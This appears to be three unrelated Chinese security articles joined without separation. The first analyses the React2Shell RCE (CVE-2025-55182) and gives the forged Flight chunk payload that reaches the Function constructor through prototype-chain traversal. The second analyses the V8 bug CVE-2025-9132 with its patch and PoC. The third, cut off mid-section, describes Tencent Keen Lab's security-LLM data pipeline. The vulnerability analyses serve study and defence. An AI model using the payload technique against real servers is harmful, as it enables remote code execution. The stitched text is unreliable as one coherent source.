React2Shell (CVE-2025-55182) 漏洞分析

这几天应该很多人在忙着应急这个“核弹级”漏洞，它已经成了安全圈里的“新顶流”。但网上还没有比较详细的分析文章，而我又对公开POC中的一些细节实在好奇，所以今天来一探究竟。
因为我对React不够了解，所以本文没有任何扩展内容，仅仅只是把漏洞利用过程调试了一遍，并且因为利用过程有点绕，所以配上了流程图方便理解。

背景知识

React Server Components (RSC)

RSC 是 React 19 推出的新渲染模型，核心思想是让部分组件在服务器端执行，仅将序列化后的”结果”传输给客户端。

主要特性：

• 服务端执行：组件代码可直接在服务端执行业务逻辑与数据获取（如访问数据库、调用内部服务）
• Flight 协议传输：客户端接收经过序列化的”React 树描述”，再在浏览器中反序列化为 React 元素
• 流式渲染：支持增量传输，先发送已计算完成的部分，后续再补充剩余内容

与传统 SSR 的区别：

这套机制已成为 Next.js App Router 的默认架构。

React Flight 协议

数据结构概述

FormData 与 Chunk 索引

在典型的 Server Action 请求中，Next.js / React 发送 multipart/form-data 请求，表单字段结构如下：

• name="0": 主 payload（如参数列表）
• name="1": 第 1 个模型块（model chunk）
• name="2": 第 2 个模型块
• ... : 更多块

$N 引用语法

Flight 协议使用 $ 前缀加数字表示对特定 chunk 的引用，冒号分隔的路径用于访问嵌套属性：

• "$1": 引用 chunk1 本身
• "$2:fruitName": 引用 chunk2 解析后对象的 fruitName 属性
• "$3:user:email": 引用 chunk3 中的 .user.email

Flight 数据解析流程

假设客户端发送如下请求体：

1
2
3
4
5
6
7
8
9

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="0"

["$1:profile:name"]
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="1"

{"profile":{"name":"alice","age":18}}
------WebKitFormBoundaryABC123--

可以看作：

1
2
3
4

chunks = {
  "0": '["$1:profile:name"]',
  "1": '{"profile":{"name":"alice","age":18}}'
}

解析过程：

1
2
3
4

"$1:profile:name"
  → 查找 chunk1 并解析：{"profile":{"name":"alice","age":18}}
  → 访问路径 .profile.name
  → 返回 "alice"

漏洞根因

漏洞的核心问题在于：路径解析逻辑未通过 hasOwnProperty 限制可访问的属性范围，导致攻击者可以沿原型链访问任意属性，包括 __proto__、constructor 等敏感属性。

流程图

漏洞代码分析

入口函数：decodeReplyFromBusboy

decodeReplyFromBusboy 是服务端解析客户端 FormData 的入口函数，位于 ReactFlightDOMServerNode.js：

1
2
3
4
5
6
7
8
9
10
11
12

// packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js
function decodeReplyFromBusboy<T>(
  ...
): Thenable<T> {
  ...
  busboyStream.on('field', (name, value) => {
    if (pendingFiles > 0) {
      queuedFields.push(name, value);
    } else {
      resolveField(response, name, value);  // 处理表单字段
    }
  });

调用链： resolveField → resolveModelChunk → initializeModelChunk

字段解析：resolveField

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

// packages/react-server/src/ReactFlightReplyServer.js
export function resolveField(
  response: Response,
  key: string,
  value: string,
): void {
  response._formData.append(key, value);
  const prefix = response._prefix;
  if (key.startsWith(prefix)) {
    const chunks = response._chunks;
    const id = +key.slice(prefix.length);
    const chunk = chunks.get(id);
    if (chunk) {
      resolveModelChunk(chunk, value, id);  // 解析模型块
    }
  }
}

核心解码逻辑：initializeModelChunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

// packages/react-server/src/ReactFlightReplyServer.js
function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  ...
  const resolvedModel = chunk.value;
  ...
  try {
    const rawModel = JSON.parse(resolvedModel);  // [1] JSON 解析

    const value: T = reviveModel(                // [2] 还原对象
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );
    ...
  }
}

关键步骤：

• [1] 对 chunk.value 进行 JSON 解析，得到如 {then: "$1:...", ...} 的对象
• [2] reviveModel 处理 JSON，将字符串引用还原为实际对象

还原对象：reviveModel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

// packages/react-server/src/ReactFlightReplyServer.js
function reviveModel(...): any {
  ...
  if (typeof value === 'object' && value !== null) {
    ...
    for (const key in value) {    // [3] 遍历对象属性
      if (hasOwnProperty.call(value, key)) {
        const newValue = reviveModel(
          response, value, key, value[key], childRef,
        );
        if (newValue !== undefined) {
          value[key] = newValue;  // 用解析后的对象替换原字符串
        }
      }
    }
  }
  return value;
}

POC 中 chunk[0].value 经 JSON 解析后为 object 类型，进入 [3] 处的循环，遍历所有 key-value 并递归调用 reviveModel。这是反序列化的核心过程——将数据还原为实际对象。

当遇到第一个 key then，其值为 $1:__proto__:then（字符串类型），会走不同分支：

1
2
3
4
5
6

function reviveModel(...): any {
  if (typeof value === 'string') {
    return parseModelString(response, parentObj, parentKey, value, reference);
  }
  ...
}

字符串解析：parseModelString

parseModelString 包含一个大型 switch 表，根据前缀字符路由到不同处理逻辑：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

// packages/react-server/src/ReactFlightReplyServer.js
function parseModelString(...): any {
  if (value[0] === '$') {
    switch (value[1]) {
      case '$': {
        return value.slice(1);
      }
      case '@': {
        // Promise 引用
        const id = parseInt(value.slice(2), 16);
        const chunk = getChunk(response, id);  // [4]
        return chunk;
      }
      ...
    }
    // 默认：chunk 引用
    const ref = value.slice(1);
    return getOutlinedModel(response, ref, obj, key, createModel);  // [5]
  }
}

引用解析：getOutlinedModel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

// packages/react-server/src/ReactFlightReplyServer.js
function getOutlinedModel<T>(...): T {
  const path = reference.split(':');  // 按 : 分割路径
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  ...
  switch (chunk.status) {
    ...
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      const parentChunk = initializingChunk;
      chunk.then(  // [6] 注册回调
        createModelResolver(...),
        createModelReject(parentChunk),
      );
      return (null: any);
    default:
      throw chunk.reason;
  }
}

漏洞利用过程

解析 chunk[0] 并注册回调

1. **解析 $1:__proto__:then**：value[0] 为 $，value[1] 为 1（chunk 1 的引用），进入 [5]
2. **getOutlinedModel 处理 1:__proto__:then**：
   • 按 : 分割得到 path = ["1", "__proto__", "then"]
   • 解析 path[0] 获取 chunk[1]，此时状态为 PENDING
   • 进入 **[6]**，调用 Chunk.prototype.then（自定义实现）
   • 将 createModelResolver 回调 push 到 chunk.value 中，待后续触发

图示：回调注册过程

3. 继续处理 chunk[0] 的其他 key，完成后开始处理 chunk[1]

解析 chunk[1] 并触发回调

chunk[1] 的值为 "$@0"，在 [4] 处解析，调用 getChunk 获取 chunk[0]。

一路向上返回到initializeModelChunk，之后返回至resolveModelChunk

1
2
3
4
5
6
7
8
9
10
11
12
13

// packages/react-server/src/ReactFlightReplyServer.js
function resolveModelChunk<T>(
  chunk: SomeChunk<T>,
  value: string,
  id: number,
): void {
 ...
  if (resolveListeners !== null) {
    initializeModelChunk(resolvedChunk);
    // The status might have changed after initialization.
    wakeChunkIfInitialized(chunk, resolveListeners, rejectListeners);
  }
}

随后调用 wakeChunkIfInitialized：

1
2
3
4
5
6
7
8
9
10
11
12
13

// packages/react-server/src/ReactFlightReplyServer.js
function wakeChunkIfInitialized<T>(
  chunk: SomeChunk<T>,
  resolveListeners: Array<...>,
  rejectListeners: null | Array<...>,
): void {
  switch (chunk.status) {
    case INITIALIZED:
      wakeChunk(resolveListeners, chunk.value, chunk);  // [7] 触发回调
      break;
    ...
  }
}

此时 chunk 状态为 INITIALIZED，进入 wakeChunk 调用之前注册的 resolveListeners。

图示：resolveListeners 包含 then 和 get 两个 key 的回调

原型链遍历

回调中执行以下循环：

1
2
3

for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 沿路径取值，无 hasOwnProperty 检查
}

图示：原型链遍历过程

这个循环类似于文件系统中的 ../../ 路径遍历，但作用于 JavaScript 原型链。

以 path = ["1", "__proto__", "then"] 为例，value 初始为 chunk[0]（Chunk 实例）：

get 属性的处理类似，最终可获取 Chunk.constructor.constructor（即 Function 构造函数）。

构造伪造 Chunk

经过上述处理，chunk[0].value 被构造为：

1
2
3
4
5
6
7
8
9
10
11
12

{
  then: Chunk.prototype.then,     // 来自 __proto__.then
  status: "resolved_model",
  reason: -1,
  value: '{"then":"$B1337"}',
  _response: {
    _prefix: "debugger;throw new Error('test');",
    _formData: {
      get: Function               // 来自 constructor.constructor
    }
  }
}

这是一个伪造的 thenable 对象，当 await decodeReplyFromBusboy 执行时会调用其 then 方法。

触发代码执行

在 then 方法中，由于 status 为 resolved_model，会调用 initializeModelChunk → reviveModel。

此时 value 为 {"then":"$B1337"}，解析 $B1337 进入 B 分支（Blob 处理）：

1
2
3
4
5
6
7

case 'B': {
  const id = parseInt(value.slice(2), 16);  // 0x1337 => 4919
  const prefix = response._prefix;          // "debugger;throw new Error('test');"
  const blobKey = prefix + id;              // "debugger;throw new Error('test');4919"
  const backingEntry: Blob = (response._formData.get(blobKey): any);  // [8]
  return backingEntry;
}

[8] 处调用 response._formData.get(blobKey)，而 _formData.get 已被替换为 Function 构造函数

因此实际执行：

1

Function("debugger;throw new Error('test');4919")

返回的函数被写回 then 属性：

1
2
3

{
  "then": Function("debugger;throw new Error('test');4919")
}

后续 await decodeReplyFromBusboy 再次触发 then 函数时，恶意代码被执行，实现 RCE。

参考链接

https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

既然这是Project Zero的BigSleep发现的第一个V8漏洞，Buff这么多，那就很难不来一窥究竟了。

背景

8月19日的 Google Chrome 更新修复了一个由 Google Big Sleep 发现的漏洞。

Chrome Releases: Stable Channel Update for Desktop

[436181695] High CVE-2025-9132: Out of bounds write in V8. Reported by Google Big Sleep on 2025-08-04

通过分析补丁，我们成功实现了 CVE-2025-9132 的利用。以下所有分析和利用都基于 v8 13.9.205.19，commit 505ec917b67c535519bebec58c62a34f145dd49f，即 v8 13.9 分支中漏洞修复前的 commit。

CVE-2025-9132 的补丁和补丁中附带的 PoC 如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

diff --git a/src/parsing/parser.cc b/src/parsing/parser.cc
index 26249aff4bb..7b5b2458b77 100644
--- a/src/parsing/parser.cc
+++ b/src/parsing/parser.cc
@@ -2408,7 +2408,10 @@ Statement* Parser::DesugarLexicalBindingsInForStatement(
     //    make statement: let/const x = temp_x.
     for (int i = 0; i < for_info.bound_names.length(); i++) {
       VariableProxy* proxy = DeclareBoundVariable(
-          for_info.bound_names[i], for_info.parsing_result.descriptor.mode,
+          for_info.bound_names[i],
+          for_info.parsing_result.descriptor.mode == VariableMode::kAwaitUsing
+              ? VariableMode::kConst
+              : for_info.parsing_result.descriptor.mode,
           kNoSourcePosition);
       inner_vars.Add(proxy->var());
       VariableProxy* temp_proxy = factory()->NewVariableProxy(temps.at(i));

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

// Copyright 2025 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

var v = [];

(async () => {
  for (let i = 0; i < 6; ++i) {
    v.push(i);
    await 0;
  }
})();

async function TestCStyleForCountTicks() {
  for (await using x = {
         value: 42,
         [Symbol.asyncDispose]() {
           v.push(`asyncDispose`);
         }  // One tick is expected after calling asyncDispose to allow it to be
            // asynchronous. It will be called after exiting the for-loop.
       };
       x.value < 44; x.value++) {
    // These pushes are expected to be synchronous.
    v.push(x.value);
  }
  v.push(`afterForLoop`);
}

async function RunTest() {
  await TestCStyleForCountTicks();
  assertArrayEquals([0, 42, 43, `asyncDispose`, 1, `afterForLoop`, 2], v);
}

RunTest();

使用 debug 版本的 d8 运行 PoC 会在 BytecodeArrayWriter::BindJumpTableEntry 中触发 DCHECK [1]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

void BytecodeArrayWriter::BindJumpTableEntry(BytecodeJumpTable* jump_table,
                                             int case_value) {
  DCHECK(!jump_table->is_bound(case_value));         // [1] crash here

  size_t current_offset = bytecodes()->size();
  size_t relative_jump = current_offset - jump_table->switch_bytecode_offset();

  constant_array_builder()->SetJumpTableSmi(
      jump_table->ConstantPoolEntryFor(case_value),
      Smi::FromInt(static_cast<int>(relative_jump)));
  jump_table->mark_bound(case_value);

  StartBasicBlock();
}

分析

补丁和 PoC 都显示漏洞与 await using 语法有关。await using 是 JavaScript 中的新特性。使用 await using 声明的变量离开其作用域时，它的 [asyncDispose] 会被异步调用。

The await using declaration declares block-scoped local variables that are asynchronously disposed.

1
2
3
4
5
6
7
8
9
10

async function foo() {
  {
    await using x = {
      [Symbol.asyncDispose]() {
        console.log("asyncDispose");
      }
    };
    // await x[Symbol.asyncDispose]();
  }
}

在 v8 中，如果 async function 中有 await 关键字，那么函数的开头会是一个 SwitchOnGeneratorState 字节码，每个 await 会产生一对 SuspendGenerator/ResumeGenerator 字节码。SuspendGenerator 会将函数的当前状态保存到 JSGeneratorObject 对象中，然后退出。当 await 完成，函数会重新从开头的 SwitchOnGeneratorState 处开始执行，SwitchOnGeneratorState 会根据 JSGeneratorObject 从对应的 ResumeGenerator 处恢复执行，ResumeGenerator 会从 JSGeneratorObject 导入函数状态。

SwitchOnGeneratorState 有一个 JumpTable，用于选择从哪一个 ResumeGenerator 执行。v8 先从源码产生 AST，再从 AST 生成字节码。为了确定 JumpTable 的大小，v8 在 parse 源码时会记录 await、await using、yield 等关键字的个数。例如 ParserBase<Impl>::ParseVariableDeclarations 第一次在一个作用域中遇到 await using 时会调用 AddSuspend 来增加计数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

template <typename Impl>
void ParserBase<Impl>::ParseVariableDeclarations(
    VariableDeclarationContext var_context,
    DeclarationParsingResult* parsing_result,
    ZonePtrList<const AstRawString>* names) {
  // VariableDeclarations ::
  //   ('var' | 'const' | 'let' | 'using' | 'await using') (Identifier ('='
  //   AssignmentExpression)?)+[',']

  DCHECK_NOT_NULL(parsing_result);
  parsing_result->descriptor.kind = NORMAL_VARIABLE;
  parsing_result->descriptor.declaration_pos = peek_position();
  parsing_result->descriptor.initialization_pos = peek_position();

  Scope* target_scope = scope();

  switch (peek()) {
      // ...
    case Token::kAwait:
      // CoverAwaitExpressionAndAwaitUsingDeclarationHead[?Yield] [no
      // LineTerminator here] BindingList[?In, ?Yield, +Await, ~Pattern];
      Consume(Token::kAwait);
      DCHECK(v8_flags.js_explicit_resource_management);
      DCHECK_NE(var_context, kStatement);
      DCHECK(is_using_allowed());
      DCHECK(is_await_allowed());
      Consume(Token::kUsing);
      DCHECK(!scanner()->HasLineTerminatorBeforeNext());
      DCHECK(peek() != Token::kLeftBracket && peek() != Token::kLeftBrace);
      impl()->CountUsage(v8::Isolate::kExplicitResourceManagement);
      parsing_result->descriptor.mode = VariableMode::kAwaitUsing;
      if (!target_scope->has_await_using_declaration()) {
        function_state_->AddSuspend();                          // [1] AddSuspend()
      }
      break;
    default:
      UNREACHABLE();  // by current callers
      break;
  }

生成字节码时，BytecodeGenerator 会先 constant_pool 中预留 info()->literal()->suspend_count() 个位置（constant_pool 是一个数组），作为 JumpTable。JumpTable 会在生成字节码的过程中逐个被填充成实际的跳转偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

void BytecodeGenerator::BuildGeneratorPrologue() {
  DCHECK_GT(info()->literal()->suspend_count(), 0);
  generator_jump_table_ =
      builder()->AllocateJumpTable(info()->literal()->suspend_count(), 0);   // [1] AllocateJumpTable

  // If the generator is not undefined, this is a resume, so perform state
  // dispatch.
  builder()->SwitchOnGeneratorState(generator_object(), generator_jump_table_);

  // Otherwise, fall-through to the ordinary function prologue, after which we
  // will run into the generator object creation and other extra code inserted
  // by the parser.
}

BytecodeGenerator 有自己的数据成员 suspend_count_，初始值为 0。 在根据 AST 生成字节码时，每当需要生成一个 SuspendGenerator ，就会以 suspend_count_ 字段作为 suspend_id，然后将 suspend_count_ 自增。suspend_id 被用作 BytecodeArrayWriter::BindJumpTableEntry 函数的 case_value 参数，作为索引填充 JumpTable。正常来说，suspend_id 的范围是 [0, info()->literal()->suspend_count() - 1]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

// Suspends the generator to resume at the next suspend_id, with output stored
// in the accumulator. When the generator is resumed, the sent value is loaded
// in the accumulator.
void BytecodeGenerator::BuildSuspendPoint(int position) {
  // Because we eliminate jump targets in dead code, we also eliminate resumes
  // when the suspend is not emitted because otherwise the below call to Bind
  // would start a new basic block and the code would be considered alive.
  if (builder()->RemainderOfBlockIsDead()) {
    return;
  }
  const int suspend_id = suspend_count_++;                                     // [1] suspend_count_++

  RegisterList registers = register_allocator()->AllLiveRegisters();

  // Save context, registers, and state. This bytecode then returns the value
  // in the accumulator.
  builder()->SetExpressionPosition(position);
  builder()->SuspendGenerator(generator_object(), registers, suspend_id);     // [2] suspend_id

  // Upon resume, we continue here.
  builder()->Bind(generator_jump_table_, suspend_id);

  // Clobbers all registers and sets the accumulator to the
  // [[input_or_debug_pos]] slot of the generator object.
  builder()->ResumeGenerator(generator_object(), registers);
}

CVE-2025-9132 的根本原因是 Parser::DesugarLexicalBindingsInForStatement 对 AST进行变换时引入了额外的 await using 变量。DesugarLexicalBindingsInForStatement 的注释解释了变换的方式。for (let/const x = i; cond; next) body 中的 let/const x = i 变成了 [1] [2] 两处 let/const x = ...。当这种变换应用到 PoC 中的代码时，源码中的一个 await using x = ... 变成了 AST 中的两处await using x = ... 。因此 BytecodeGenerator 在按照 AST 生成字节码并填充 JumpTable 时会出现 suspend_id >= info()->literal()->suspend_count() 的情况， 造成越界写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

// ES6 13.7.4.8 specifies that on each loop iteration the let variables are
// copied into a new environment.  Moreover, the "next" statement must be
// evaluated not in the environment of the just completed iteration but in
// that of the upcoming one.  We achieve this with the following desugaring.
// Extra care is needed to preserve the completion value of the original loop.
//
// We are given a for statement of the form
//
//  labels: for (let/const x = i; cond; next) body
//
// and rewrite it as follows.  Here we write {{ ... }} for init-blocks, ie.,
// blocks whose ignore_completion_value_ flag is set.
//
//  {
//    let/const x = i;                            [1]
//    temp_x = x;
//    first = 1;
//    undefined;
//    outer: for (;;) {
//      let/const x = temp_x;                     [2]
//      {{ if (first == 1) {
//           first = 0;
//         } else {
//           next;
//         }
//         flag = 1;
//         if (!cond) break;
//      }}
//      labels: for (; flag == 1; flag = 0, temp_x = x) {
//        body
//      }
//      {{ if (flag == 1)  // Body used break.
//           break;
//      }}
//    }
//  }

利用

Xion大佬说得对，漏洞容易利用，“大觉”（真是一个信达雅的翻译:D）也确实很有趣。大家也可以动动手了。

参考

[1] https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop_19.html

[2] https://chromium-review.googlesource.com/c/v8/v8/+/6853483

[3] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/await_using

1. 引言

过去十几年来，人工智能技术不断发展，逐渐被应用于网络安全领域，大幅提升了检测分析、处置响应等方面的效率。ChatGPT的问世及其卓越表现，再次激发了网络安全市场对于大模型的期待。然而，以ChatGPT为代表的通用大模型通常以API形式供使用方调用，这不可避免地带来了成本和数据隐私问题。此外，通用大模型在网络安全领域的实际应用效果尚存优化空间。因此，针对特定业务场景的私有化部署的领域大模型应运而生。如何构建一个适用于网络安全领域的大模型，以协同提升安全攻防、安全运营等能力，成为关键课题。目前众多网络安全厂商已陆续推出自有网络安全垂直领域大模型。

为了强化和推进大模型在安全垂直领域的表现，腾讯安全科恩实验室构建了SecCorpus安全领域大模型数据清洗套件及相应的安全语料数据集。本文首先概述当前网络安全领域大模型的进展及应用场景，并以腾讯安全科恩实验室在安全领域大模型安全语料数据方面的研究工作为背景，分享我们在构建SecCorpus过程中的一些经验和成果。

2. 安全领域大模型进展

2.1. 网络安全领域大模型进展

根据IDC发布的“破土萌芽——大模型在网络安全领域的应用市场洞察报告”[1]，报告指出国内众多网络安全厂商在2023年陆续推出了各具特色的网络安全垂直领域大模型，由于数据、成本、时间等原因，针对大多数网络安全专业厂商，在基础通用大模型之上投喂安全知识语料，进行模型的再次预训练和微调，从而生成安全垂直领域大模型，是一个性价比更高的途径。安全运营、威胁情报、威胁检测与分析、应用程序安全、数据分类分级成为大模型在网络安全领域的五个主要应用方向。作为网络安全行业的领军者，Google和Microsoft也相继推出了自有的网络安全大语言模型或平台。

Google在2023年发布了自研的网络安全大模型Sec-Palm2[2]，Sec-Palm2针对安全应用场景进行了微调，整合了大量威胁情报数据。Sec-Palm2结合VirusTotal推出了code insight功能，可帮助安全分析人员快速分析和说明潜在恶意代码的行为，而无需对脚本进行耗时耗力的逆向工程；与此同时，Sec-Palm2还结合Google cloud 推出了Duet AI，Duet AI是目前网络安全领域与大模型结合的标杆产品，具备情报分析与威胁狩猎、安全运营（自动提供安全事件的总结摘要，提供威胁背景，并提出具体建议处置威胁）、攻击溯源（实时分析安全问题，发现可能的攻击路径）等能力，大幅提升安全团队的工作效率。

另一个标杆产品是微软发布 Security Copilot[3]，Security Copilot凭借OpenAI提供强大的模型能力和Microsoft自身在基础设施、威胁情报以及安全能力等方面的深厚积累，将 GPT-4 与微软丰富的专有安全数据相结合，具备恶意脚本分析、自动撰写安全事件报告、自然语言结合的威胁狩猎、威胁事件分析与响应、设备合规检查等多重能力，可为安全团队提供全方位的智能辅助，从而显著提升安全运营效率。

从应用方向看，代码/流量分析，告警/攻击研判解读，安全知识问答，安全智能运营是目前落地的主要方向。从实现方式上看，Google Sec-Palm2以 Palm2为基础模型，增加安全领域数据进一步预训练或微调；Microsoft整合OpenAI GPT4和安全领域数据，其是否采用了微调等技术尚无定论，但将大模型与专业领域数据相结合，是提升大模型在垂直领域应用效果的关键所在。我们尝试分享科恩安全大模型构建过程中的一些细节，并给出我们的网络安全领域数据构建方案，希望对网络安全大模型领域有所帮助。

2.2. 科恩网络安全领域大模型构建

在构建安全领域大模型的过程中，我们尝试在数据、模型等不同层面分析影响模型安全能力的核心因素，分析指出安全领域数据是模型安全能力提升的关键。我们的工作围绕评估、数据、模型、应用四个阶段展开。

评估层面

算法研究评测先行，因此我们首先和多个团队联合构建了网络安全大模型评测平台SecBench，旨在为安全大模型研发提供公平、公正、客观、全面的评测能力，辅助安全大模型建设与研发过程。SecBench 重点从能力、语言、领域、安全证书考试四个维度对大模型在网络安全领域的各方面能力进行评估，已经覆盖多个安全领域，包括数据安全、应用安全、端点与主机安全、网络与基础架构安全、身份与访问控制、基础软硬件与技术、安全管理等。目前，SecBench已发布。

数据层面

为了实现了从数据到模型能力的端到端的监控，例如对任意一批数据，可以针对性的评估该数据对模型安全能力的影响，我们构建了一套完整的数据采集、数据清洗、数据评估流程。关于数据套件的详细内容，将在后续章节详细介绍。

我们目前已经清洗了中英文总计约20B tokens的高质量安全领域数据，覆盖：安全博客、资讯文章，百科，安全书籍，安全论文等数据源。

模型层面

为了验证我们领域数据的有效性，我们在多个模型层面进行了实验评估：

1. 预训练安全领域小模型，我们基于清洗的安全数据，预训练了160m-1.1B的小模型，160m模型在滚动测试集上验证困惑度(Perplexity)已经达到1.8B通用模型的水平；
2. 增量预训练：我们通过对Qwen、Baichuan等开源模型进行增量预训练，增量预训练后评估表明效果有明显提升，已经超过了ChatGPT；
3. 混合数据预训练：腾讯安全科恩实验室与安全平台部合作共建，构建的安全数据目前已经融入到腾讯混元大模型的训练过程，混元大模型在网络安全领域能力有明显提升，科恩基于最新混元大模型搭建威胁情报智能研判助手取得了良好效果。

基于此三个方面的结果，验证了我们的安全数据的有效性。

应用层面

我们基于最新混元模型搭建了威胁情报研判Agent，通过结合科恩的海量威胁情报、安全基础能力和二进制安全智能分析平台BinaryAI，实现情报数据增强的对话式威胁研判Agent，为安全专业人员提供快速检测和响应威胁的端到端体验。其支持用户以自然语言提问关于可执行文件哈希（MD5或SHA256）、IP、域名、CVE等安全实体的任何问题，后台结合威胁情报的详细信息和BinaryAI引擎SCA分析结果，向用户反馈关于提问实体的安全洞见，帮助运营人员提高调查能力，缩短应对安全威胁的响应时间。

作为威胁情报研判Agent，其具备如下能力：

1. 掌握丰富的网络安全知识和情报运营常识，理解情报运营人员日常工作所接收到的所有信息，包括告警日志，Payload，代码片段，网络流量包，外部情报的网页内容等。
2. 能够使用情报人员日常所用的工具，包括查询内部的各情报源数据接口，访问网页，使用搜索引擎等。
3. 能够成情报研判任务，提供正确的研判结论，生成一份逻辑清晰、论据合理的研判报告。

除了可以作为独立的应用，还可以作为组件被第三方安全站点集成，如下所示，例如我们将其集成到BinaryAI中，可以分析文件的功能、第三方组件、文件行为以及可能的漏洞等信息。

未来我们会发布威胁情报研判Agent的技术文章，并且开放威胁情报研判Agent的能力，敬请关注。

3. 安全领域数据构建套件

在上一节我们提到安全领域大模型的能力主要来自于领域数据，在这里重点介绍我们的安全领域数据构建流程。基于我们的实践和公开研究，我们的领域数据构建大致遵循如下流程：

1. 多源数据采集
2. 安全文本召回
3. 数据清洗
   1. 去重
   2. 语言识别，仅筛选中英文
   3. 脏数据过滤（不同格式数据有所不同）
   4. 自定义规则过滤
4. 高质量文本筛选
5. 全局去重合并
6. 进入训练评估流程，递归清洗数据
   

3.1. 多源数据采集

由于公开的数据以通用数据为主，我们首先需要确认安全领域数据的数据来源。主要包括以下几个方面：

• Common Crawl 等网页数据，含有大量的文本数据，但是数据质量一般，需要进行详细的数据清洗和领域数据筛选，见网页数据清洗流程
• 书籍数据，质量较高，需要筛选安全主题类数据后清洗
• 安全站点如Hacknews等，领域相关度较高的数据
• ArXiv 数据质量较高，需要筛选安全领域相关数据
• 百科数据，主要来自维基百科/百度百科数据，数据质量高，需要筛选安全领域相关数据
• 开源数据，主要来自开源社区的数据，进行安全领域数据筛选

3.2. 安全语料召回

安全语料筛选决定了我们安全语料的纯度，综合考虑数据量和性能原因，我们采用了两级过滤方案：即关键词过滤和基于分类器过滤。

• 关键词召回：由于全量数据达到了TB级，考虑到集群性能和数据召回效率，我们首先采用安全关键词召回减少数据量，过滤掉90%以上安全领域无关数据。我们从多个网站搜集了4000+中英文网络安全领域关键词。
• 基于模型的召回：基于关键词召回后语料进一步筛选，我们采用安全站点数据、和部分人工+规则的形式筛选出小批量的安全相关数据，在Common Crawl中随机选取部分数据作为非安全数据，基于FastText训练了安全文本分类模型，作为第二阶段安全数据召回的模型。

3.3. 数据清洗

3.3.1. 网页数据

网页是最方便获取、数量最多但质量也相对较差的数据。我们收集维护了数百个安全站点URL，和数千个网络安全术语，以此基础获取相关网页。我们使用爬虫爬取、Common Crawl上召回等方法获取(疑似)包含安全相关内容的网页并进行清洗。

下图是CCNet处理Common Crawl数据[4]的流程：

图源：https://blog.christianperone.com/2023/06/appreciating-llms-data-pipelines/

我们主要参考了CCNet的清洗过程，但与CCNet不同的是，我们专注于在HTML格式上直接进行清洗(WARC)，而非WET等网页提取的文本格式。因为HTML源码中包含关于页面排版在内所有信息，可以使用现有工具分离正文元素、代码并解析，从而获得较高质量的文本语料。计算资源来自于千核的spark集群，清洗流程如下：

1. 使用tralifitura[5]提取正文html元素，归一化为xml格式
2. 文本粗提取，语言识别，不感兴趣的语言的文档将被直接移除
3. xml解析，建立ast
4. 多阶段清洗
   1. 文档粒度清洗：基于字符和段落的统计量特征，过滤离群样本以移除提取失败、乱码、格式错误的文档
   2. 小节粒度清洗：启发式正则，移除大部分目录、参考引用和附录等
   3. 段落粒度清洗：启发式正则+分类模型评分，移除大部分广告、脚注、版权声明等
   4. 匿名化：移除人名、ID、邮箱等隐私信息
5. 渲染成特定格式的文本
6. 使用分类模型进行文档主题筛选，移除无关主题的文档

3.3.2. 书籍数据

书籍是质量很高的数据，在各种大模型的训练中都特意提高了占比，比如GPT-3[6]：

图源：http://arxiv.org/abs/2005.14165

为了提取出安全相关的书籍，我们使用类似网页的主题分类模型，根据标题和简介进行筛选，得到约五千本书。人工检查后确认分类模型的性能达到预期，进行下一步清洗。

书籍的原始数据主要是 epub、mobi 等结构化格式和 pdf 格式。由于 pdf 格式的清洗非常复杂，我们主要关注结构化的存储格式。这些格式本质上都是压缩包，其中包含了书本元信息和以 HTML 储存的书本内容，通常每一个章节就是一页 HTML。

详细清洗流程和网页类似：

1. 借助 epy reader[7] 从原始数据中提取书本元信息和 HTML 页，利用元信息对 HTML 页进行打标，比如封面、目录和附录等，方便后续筛选。
2. 利用 python-markdownify[8] 将 HTML 页转换成 Markdown。注意原始实现转换并不完美，需要根据实际提取出的 HTML 页修改转换器的行为，特别是表格、代码块等复杂格式。也可以先使用 tralifitura 进行归一化后再转换成 Markdown，同样也需要修改转换器。
3. 多阶段清洗：
   1. 语言清洗：利用书本元信息和语言识别，去除非中英文的书籍
   2. 文档粒度清洗：由于书本内容相对干净，只需要筛去不需要的 HTML 页面即可，不需要更细粒度的筛选
      1. 利用 1. 中的标签、Markdown 标题、启发式正则等，去除非正文内容，只保留有用的知识
      2. 基于字符和段落的统计量特征，过滤离群样本以移除提取失败、乱码、格式错误的文档
      3. 收集 i. ii. 中的错误文档，训练一个小型分类模型，筛选剩余文档
   3. 匿名化：移除人名、ID、邮箱等隐私信息

3.3.3. 论文数据

ArXiv 提供按学科分类的原始 tex 文件, 我们选取了带计算机标签的论文, 使用 unified-latex-cli [9]转换成 html 文件, 然后采用与网页清洗类似的清洗流程。

3.3.4. 开源数据

由于开源社区的数据已经经过一定层面的清洗，可以加快后续整体的数据清洗和验证流程，因此我们从huggingface、opendatalab等开源社区搜集了部分数据，经过安全语料召回后采用与网页清洗类似的清洗流程。

